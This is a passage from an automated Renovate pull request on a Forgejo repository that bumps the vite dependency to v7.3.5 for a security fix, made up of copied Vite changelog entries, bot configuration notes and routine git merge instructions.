([#&#8203;21507](https://github.com/vitejs/vite/issues/21507)) ([80755da](https://github.com/vitejs/vite/commit/80755dacab296cd2083fef29e09280ceb810a943)) - update `build.dynamicImportVarsOptions` ([#&#8203;21477](https://github.com/vitejs/vite/issues/21477)) ([54ce2ed](https://github.com/vitejs/vite/commit/54ce2ed15a95619bd18ac6609b7d7b5f42b4965d)) - clarify the pronunciation of `vite` in IPA symbols ([#&#8203;21238](https://github.com/vitejs/vite/issues/21238)) ([9b1d4d6](https://github.com/vitejs/vite/commit/9b1d4d6f348c8899bd7651bd802f583e99b901ee)) - ensure https links ([#&#8203;21266](https://github.com/vitejs/vite/issues/21266)) ([2eb259a](https://github.com/vitejs/vite/commit/2eb259a84859c7656718258afed08eb80670f530)) ##### Miscellaneous Chores - **deps-dev:** bump rollup from 4.57.1 to 4.59.0 ([#&#8203;21717](https://github.com/vitejs/vite/issues/21717)) ([25227bb](https://github.com/vitejs/vite/commit/25227bbdc7de0ed07cf7bdc9a1a733e3a9a132bc)) - **deps:** update dependency cac to v7 ([#&#8203;21788](https://github.com/vitejs/vite/issues/21788)) ([44e33ae](https://github.com/vitejs/vite/commit/44e33ae6a7b64130831f08b2a20d04cbd106898d)) - **deps:** update dependency rolldown-plugin-dts to ^0.22.2 ([#&#8203;21731](https://github.com/vitejs/vite/issues/21731)) ([d8ea652](https://github.com/vitejs/vite/commit/d8ea652a8b295d9e012ac7ea607d813c69f77791)) - **deps:** remove `fdir` and `@rollup/plugin-commonjs` ([#&#8203;21639](https://github.com/vitejs/vite/issues/21639)) ([5abffd5](https://github.com/vitejs/vite/commit/5abffd5d04bf586a60970588a14d7e3b79445093)) - **deps:** update dependency [@&#8203;rollup/plugin-alias](https://github.com/rollup/plugin-alias) to v6 ([#&#8203;21097](https://github.com/vitejs/vite/issues/21097)) ([44b5bdf](https://github.com/vitejs/vite/commit/44b5bdfcf2b2c1b73563ed0526c48584b756360f)) - fix broken link for future deprecations ([#&#8203;21603](https://github.com/vitejs/vite/issues/21603)) ([25f4501](https://github.com/vitejs/vite/commit/25f45013b94e50acc5c3e476691aa2210b33cae4)) - update `customResolver` deprecation message to mention `enforce: 'pre'` ([#&#8203;21576](https://github.com/vitejs/vite/issues/21576)) ([2ce34d5](https://github.com/vitejs/vite/commit/2ce34d5580ed118db6361696e6283c1fea74e685)) - update rolldown-plugin-dts to 0.22.1 ([#&#8203;21559](https://github.com/vitejs/vite/issues/21559)) ([77aab4b](https://github.com/vitejs/vite/commit/77aab4b7f1e3a2131477659c909a3fbe02faa0a0)) - **deps:** update dependency rolldown-plugin-dts to ^0.21.8 ([#&#8203;21539](https://github.com/vitejs/vite/issues/21539)) ([33881cb](https://github.com/vitejs/vite/commit/33881cb34f4587919713975d13ce255ef744472d)) - add missing versions to changelog ([#&#8203;21515](https://github.com/vitejs/vite/issues/21515)) ([4bfb239](https://github.com/vitejs/vite/commit/4bfb239686a17343bc46c0d7c968e28b0d64041f)) - **deps:** update rolldown-related dependencies ([#&#8203;21487](https://github.com/vitejs/vite/issues/21487)) ([5863e51](https://github.com/vitejs/vite/commit/5863e513fab6b481cfb42da86202f9db728c077d)) - **deps:** update rolldown-related dependencies ([#&#8203;21390](https://github.com/vitejs/vite/issues/21390)) ([be9dd4e](https://github.com/vitejs/vite/commit/be9dd4e08d899f9ed27f2bdcb81bf27d018377a6)) - fix typo in plugin.ts comment ([#&#8203;21435](https://github.com/vitejs/vite/issues/21435)) ([d31fc66](https://github.com/vitejs/vite/commit/d31fc6685b4dde33062bf4dfe46e0502de4e1449)) - replace caniuse link for ES2024 ([#&#8203;21355](https://github.com/vitejs/vite/issues/21355)) ([2ba4e99](https://github.com/vitejs/vite/commit/2ba4e990192845e01c733aa186c9599cdb5bb8fe)) - cleanup changelog ([#&#8203;21202](https://github.com/vitejs/vite/issues/21202)) ([8c8c56e](https://github.com/vitejs/vite/commit/8c8c56e1eb465e6dcd0c1b40f187228edc0e2be4)) - **deps:** update rolldown-related dependencies ([#&#8203;21230](https://github.com/vitejs/vite/issues/21230)) ([9349446](https://github.com/vitejs/vite/commit/9349446e9344bd81ccfb37af482f479cd1b59bbc)) - fix spelling error ([#&#8203;21223](https://github.com/vitejs/vite/issues/21223)) ([cc10e20](https://github.com/vitejs/vite/commit/cc10e207ae87ac122fc1efbb5ab01b516eb9cce8)) ##### Code Refactoring - don't add `optimization.inlineConst: { mode: 'smart' }` as it's enabled by default ([#&#8203;21794](https://github.com/vitejs/vite/issues/21794)) ([22b3d11](https://github.com/vitejs/vite/commit/22b3d111c38deb76d3c07010bf9903e3ee1befc1)) - enable some native plugins even with enable native plugin false ([#&#8203;21744](https://github.com/vitejs/vite/issues/21744)) ([fc46c79](https://github.com/vitejs/vite/commit/fc46c79797e9ec22a5a4fb1999f6268f72d586f8)) - avoid deprecated `legalComments` option ([#&#8203;21721](https://github.com/vitejs/vite/issues/21721)) ([e06496e](https://github.com/vitejs/vite/commit/e06496ef259015b5a89f33a9965be25f8bea0624)) - use `ESTree` types from `rolldown/utils` ([#&#8203;21719](https://github.com/vitejs/vite/issues/21719)) ([9239750](https://github.com/vitejs/vite/commit/9239750e619afba03243d6d583eaca55b510ddfe)) - deprecate `customResolver` in `resolve.alias` ([#&#8203;21476](https://github.com/vitejs/vite/issues/21476)) ([81275c9](https://github.com/vitejs/vite/commit/81275c907211ac766013e6232c2cdf559534bed1)) - remove unnecessary `@rolldown/pluginutils` ([#&#8203;21560](https://github.com/vitejs/vite/issues/21560)) ([c367b62](https://github.com/vitejs/vite/commit/c367b62693f19040e64d14915877f0b05b8ac7ae)) - enable some native plugins even with enable native plugin false ([#&#8203;21608](https://github.com/vitejs/vite/issues/21608)) ([5a4f692](https://github.com/vitejs/vite/commit/5a4f6924260ef0f2683177a99935160badea3f3b)) - use `rolldown/utils` ([#&#8203;21577](https://github.com/vitejs/vite/issues/21577)) ([e56103f](https://github.com/vitejs/vite/commit/e56103f180216306de738769303f31ad4c078b26)) - use internal devtools config ([#&#8203;21609](https://github.com/vitejs/vite/issues/21609)) ([9aea20f](https://github.com/vitejs/vite/commit/9aea20f4a190e0e1c7edc656361d636cd6ce642f)) - use parseEnv ([#&#8203;21586](https://github.com/vitejs/vite/issues/21586)) ([f859d2c](https://github.com/vitejs/vite/commit/f859d2cdfcc18f139775c208be068461a91602e5)) - **wasm:** remove native wasm helper plugin usage ([#&#8203;21566](https://github.com/vitejs/vite/issues/21566)) ([71a86be](https://github.com/vitejs/vite/commit/71a86be6d9b9ea0329e92f20671f4db1f020874d)) - enable some native plugins even with enable native plugin false ([#&#8203;21511](https://github.com/vitejs/vite/issues/21511)) ([b40292c](https://github.com/vitejs/vite/commit/b40292ce6a7dbbbbac9c6dae5f126b7f44c3e1b7)) - remove `experimental.enableNativePlugin: 'resolver'` ([#&#8203;21510](https://github.com/vitejs/vite/issues/21510)) ([f9d9213](https://github.com/vitejs/vite/commit/f9d92130fa79c638f77a3a8e6e55506f185d5a49)) - use `import.meta.dirname` everywhere ([#&#8203;21509](https://github.com/vitejs/vite/issues/21509)) ([7becf5f](https://github.com/vitejs/vite/commit/7becf5f8fe9041cff60f495ef975faaba68f9eb2)) - **optimizer:** simplify `rolldownCjsExternalPlugin` ([#&#8203;21450](https://github.com/vitejs/vite/issues/21450)) ([ebda8fd](https://github.com/vitejs/vite/commit/ebda8fd3c14f60e63d13d22102cb3d79a12f47a9)) - remove `import.meta.hot.accept` resolution fallback ([#&#8203;21382](https://github.com/vitejs/vite/issues/21382)) ([71d0797](https://github.com/vitejs/vite/commit/71d0797a719440f2a09b3364bfcf18576c2b67fb)) - **optimizer:** remove dead code ([#&#8203;21334](https://github.com/vitejs/vite/issues/21334)) ([e9a2cdb](https://github.com/vitejs/vite/commit/e9a2cdbb7d96a3f8e15d25774708d4f4ab626bb9)) ##### Tests - **ssr:** incorrect `handleInvoke` was called in server-worker-runner.invoke test ([#&#8203;21751](https://github.com/vitejs/vite/issues/21751)) ([b95ca22](https://github.com/vitejs/vite/commit/b95ca22460fe39fc862444f8c642fd6a0794c87c)) - add more type tests for `defineConfig` ([#&#8203;21698](https://github.com/vitejs/vite/issues/21698)) ([4fedbbd](https://github.com/vitejs/vite/commit/4fedbbdd9178a3f92e491233f44d49b3ac095c69)) - test case for catching invalid package resolution error ([#&#8203;21601](https://github.com/vitejs/vite/issues/21601)) ([c9b9359](https://github.com/vitejs/vite/commit/c9b9359fe88fc4b8a69a0d5c5a7eed8961fb6e57)) - **bundled-dev:** add worker test cases ([#&#8203;21557](https://github.com/vitejs/vite/issues/21557)) ([569bc98](https://github.com/vitejs/vite/commit/569bc98d6bc42fbd1835c1c24a493776030b6cb4)) ##### Beta Changelogs ##### [8.0.0-beta.18](https://github.com/vitejs/vite/compare/v8.0.0-beta.17...v8.0.0-beta.18) (2026-03-09) See [8.0.0-beta.18 changelog](https://github.com/vitejs/vite/blob/v8.0.0-beta.18/packages/vite/CHANGELOG.md) ##### [8.0.0-beta.17](https://github.com/vitejs/vite/compare/v8.0.0-beta.16...v8.0.0-beta.17) (2026-03-09) See [8.0.0-beta.17 changelog](https://github.com/vitejs/vite/blob/v8.0.0-beta.17/packages/vite/CHANGELOG.md) ##### [8.0.0-beta.16](https://github.com/vitejs/vite/compare/v8.0.0-beta.15...v8.0.0-beta.16) (2026-02-27) See [8.0.0-beta.16 changelog](https://github.com/vitejs/vite/blob/v8.0.0-beta.16/packages/vite/CHANGELOG.md) ##### [8.0.0-beta.15](https://github.com/vitejs/vite/compare/v8.0.0-beta.14...v8.0.0-beta.15) (2026-02-19) See [8.0.0-beta.15 changelog](https://github.com/vitejs/vite/blob/v8.0.0-beta.15/packages/vite/CHANGELOG.md) ##### [8.0.0-beta.14](https://github.com/vitejs/vite/compare/v8.0.0-beta.13...v8.0.0-beta.14) (2026-02-12) See [8.0.0-beta.14 changelog](https://github.com/vitejs/vite/blob/v8.0.0-beta.14/packages/vite/CHANGELOG.md) ##### [8.0.0-beta.13](https://github.com/vitejs/vite/compare/v8.0.0-beta.12...v8.0.0-beta.13) (2026-02-05) See [8.0.0-beta.13 changelog](https://github.com/vitejs/vite/blob/v8.0.0-beta.13/packages/vite/CHANGELOG.md) ##### [8.0.0-beta.12](https://github.com/vitejs/vite/compare/v8.0.0-beta.11...v8.0.0-beta.12) (2026-02-03) See [8.0.0-beta.12 changelog](https://github.com/vitejs/vite/blob/v8.0.0-beta.12/packages/vite/CHANGELOG.md) ##### [8.0.0-beta.11](https://github.com/vitejs/vite/compare/v8.0.0-beta.10...v8.0.0-beta.11) (2026-01-29) See [8.0.0-beta.11 changelog](https://github.com/vitejs/vite/blob/v8.0.0-beta.11/packages/vite/CHANGELOG.md) ##### [8.0.0-beta.10](https://github.com/vitejs/vite/compare/v8.0.0-beta.9...v8.0.0-beta.10) (2026-01-24) See [8.0.0-beta.10 changelog](https://github.com/vitejs/vite/blob/v8.0.0-beta.10/packages/vite/CHANGELOG.md) ##### [8.0.0-beta.9](https://github.com/vitejs/vite/compare/v8.0.0-beta.8...v8.0.0-beta.9) (2026-01-22) See [8.0.0-beta.9 changelog](https://github.com/vitejs/vite/blob/v8.0.0-beta.9/packages/vite/CHANGELOG.md) ##### [8.0.0-beta.8](https://github.com/vitejs/vite/compare/v8.0.0-beta.7...v8.0.0-beta.8) (2026-01-15) See [8.0.0-beta.8 changelog](https://github.com/vitejs/vite/blob/v8.0.0-beta.8/packages/vite/CHANGELOG.md) ##### [8.0.0-beta.7](https://github.com/vitejs/vite/compare/v8.0.0-beta.6...v8.0.0-beta.7) (2026-01-08) See [8.0.0-beta.7 changelog](https://github.com/vitejs/vite/blob/v8.0.0-beta.7/packages/vite/CHANGELOG.md) ##### [8.0.0-beta.6](https://github.com/vitejs/vite/compare/v8.0.0-beta.5...v8.0.0-beta.6) (2026-01-07) See [8.0.0-beta.6 changelog](https://github.com/vitejs/vite/blob/v8.0.0-beta.6/packages/vite/CHANGELOG.md) ##### [8.0.0-beta.5](https://github.com/vitejs/vite/compare/v8.0.0-beta.4...v8.0.0-beta.5) (2025-12-25) See [8.0.0-beta.5 changelog](https://github.com/vitejs/vite/blob/v8.0.0-beta.5/packages/vite/CHANGELOG.md) ##### [8.0.0-beta.4](https://github.com/vitejs/vite/compare/v8.0.0-beta.3...v8.0.0-beta.4) (2025-12-22) See [8.0.0-beta.4 changelog](https://github.com/vitejs/vite/blob/v8.0.0-beta.4/packages/vite/CHANGELOG.md) ##### [8.0.0-beta.3](https://github.com/vitejs/vite/compare/v8.0.0-beta.2...v8.0.0-beta.3) (2025-12-18) See [8.0.0-beta.3 changelog](https://github.com/vitejs/vite/blob/v8.0.0-beta.3/packages/vite/CHANGELOG.md) ##### [8.0.0-beta.2](https://github.com/vitejs/vite/compare/v8.0.0-beta.1...v8.0.0-beta.2) (2025-12-12) See [8.0.0-beta.2 changelog](https://github.com/vitejs/vite/blob/v8.0.0-beta.2/packages/vite/CHANGELOG.md) ##### [8.0.0-beta.1](https://github.com/vitejs/vite/compare/v8.0.0-beta.0...v8.0.0-beta.1) (2025-12-08) See [8.0.0-beta.1 changelog](https://github.com/vitejs/vite/blob/v8.0.0-beta.1/packages/vite/CHANGELOG.md) ##### [8.0.0-beta.0](https://github.com/vitejs/vite/compare/v7.2.4...v8.0.0-beta.0) (2025-12-03) See [8.0.0-beta.0 changelog](https://github.com/vitejs/vite/blob/v8.0.0-beta.0/packages/vite/CHANGELOG.md) ##### Rolldown-Vite changelogs See [rolldown-vite changelog](https://github.com/vitejs/rolldown-vite/blob/v7.2.10/packages/vite/CHANGELOG.md) ### [`v7.2.3`](https://github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small-723-2025-11-20-small) [Compare Source](https://github.com/vitejs/vite/compare/v7.2.2...v7.2.3) ##### Bug Fixes - allow multiple `bindCLIShortcuts` calls with shortcut merging ([#&#8203;21103](https://github.com/vitejs/vite/issues/21103)) ([5909efd](https://github.com/vitejs/vite/commit/5909efd8fbfd1bf1eab65427aea0613124b2797a)) - **deps:** update all non-major dependencies ([#&#8203;21096](https://github.com/vitejs/vite/issues/21096)) ([6a34ac3](https://github.com/vitejs/vite/commit/6a34ac3422686e7cf7cc9a25d299cb8e5a8d92a0)) - **deps:** update all non-major dependencies ([#&#8203;21128](https://github.com/vitejs/vite/issues/21128)) ([4f8171e](https://github.com/vitejs/vite/commit/4f8171eb3046bd70c83964689897dab4c6b58bc0)) ##### Performance Improvements - **deps:** replace debug with obug ([#&#8203;21107](https://github.com/vitejs/vite/issues/21107)) ([acfe939](https://github.com/vitejs/vite/commit/acfe939e1f7c303c34b0b39b883cc302da767fa2)) ##### Miscellaneous Chores - **deps:** update dependency [@&#8203;rollup/plugin-commonjs](https://github.com/rollup/plugin-commonjs) to v29 ([#&#8203;21099](https://github.com/vitejs/vite/issues/21099)) ([02ceaec](https://github.com/vitejs/vite/commit/02ceaec45e17bef19159188a28d9196fed1761be)) - **deps:** update rolldown-related dependencies ([#&#8203;21095](https://github.com/vitejs/vite/issues/21095)) ([39a0a15](https://github.com/vitejs/vite/commit/39a0a15fd24ed37257c48b795097a3794e54d255)) - **deps:** update rolldown-related dependencies ([#&#8203;21127](https://github.com/vitejs/vite/issues/21127)) ([5029720](https://github.com/vitejs/vite/commit/50297208452241061cb44d09a4bbdf77a11ac01e)) </details> --- ### Configuration 📅 **Schedule**: (in timezone Europe/Berlin) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Mend Renovate CLI](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4yNC4zIiwidXBkYXRlZEluVmVyIjoiNDQuMjQuMyIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsicmVub3ZhdGUiXX0=-->

update-kitten-bot added 1 commit 2026-08-11 22:38:00 +00:00

chore(deps): update dependency vite to v7.3.5 [security] a5a78bf097

This pull request can be merged automatically.

You are not authorized to merge this pull request.

View command line instructions

Checkout

From your project repository, check out a new branch and test the changes.

git fetch -u origin renovate/npm-vite-vulnerability:renovate/npm-vite-vulnerability

git switch renovate/npm-vite-vulnerability

Merge

Merge the changes and update on Forgejo.

Warning: The "Autodetect manual merge" setting is not enabled for this repository, you will have to mark this pull request as manually merged afterwards.

git switch main

git merge --no-ff renovate/npm-vite-vulnerability

git switch renovate/npm-vite-vulnerability

git rebase main

git switch main

git merge --ff-only renovate/npm-vite-vulnerability

git switch renovate/npm-vite-vulnerability

git rebase main

git switch main

git merge --no-ff renovate/npm-vite-vulnerability

git switch main

git merge --squash renovate/npm-vite-vulnerability

git switch main

git merge --ff-only renovate/npm-vite-vulnerability

git switch main

git merge renovate/npm-vite-vulnerability

git push origin main

Sign in to join this conversation.

Reviewers

No reviewers

Labels

Clear labels

No items

No labels

Milestone

Clear milestone

No items

No milestone

Projects

Clear projects

No items

No project

Assignees

Clear assignees

No assignees

1 participant

Notifications

Subscribe

Due date

The due date is invalid or out of range. Please use the format "yyyy-mm-dd".

No due date set.

Dependencies

No dependencies set.

Reference

Gang/doodlesocial!4

No description provided.